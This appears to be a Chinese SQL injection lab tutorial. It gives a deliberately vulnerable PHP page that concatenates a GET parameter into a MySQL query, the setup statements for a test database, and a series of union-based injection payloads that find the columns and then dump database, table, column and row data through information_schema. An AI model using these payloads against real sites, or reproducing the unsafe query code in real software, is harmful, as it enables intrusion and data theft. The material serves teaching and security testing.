error_reporting(0);
$id = $_GET['id'];
$con = mysql_connect('localhost','root','root');
if(!$con){
die('mysql connect failed');
}
mysql_select_db('test',$con) or die('failed to connect db');
$sql = "SELECT * FROM users WHERE id='{$id}'";
$result = mysql_query($sql);
if ($row = mysql_fetch_array($result)) {
echo "
姓名:$row[1] 绰号:$row[2]
";
}else{
echo mysql_error();
}
mysql_close($con);
?>
create database test; //创建数据库test
create table users(id int,name varchar(10),nicheng varchar(15)); //创建users表
insert into users values(1,'haha','haha');
insert into users values(2,'xixi','xixi'); //插入数据
如图
数字型:and 1=1;and 1=2 判断是否存在注入
字符型:' and '1'='1 ' and '1'='2
搜索型: 关键字%' and 1=1 and '%'='% ; 关键字%' and 1=2 and '%'='%
?id=1' order by 3 --+ //判断字段数
?id=-1' union select 1,2,3 --+ //判断显示位
?id=-1' union selece 1,version(),3 --+ //判断数据库版本;在5.x后数据库包含information_schema库(里面包含了所有数据库的名字、表名和列名)
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
或
?id=-1' union select 1,(select schema_name from information_schema.schemata limit 0,1),3 --+ //爆库
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),3 --+ //爆表
?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),3 --+ //爆字段
?id=-1' union select 1,(select 字段 from 数据库.表 limit 0,1),3 --+ //爆数据
SQL注入实质就是闭合前一句查询语句,构造恶意语句,恶意语句被代入SQL语句执行。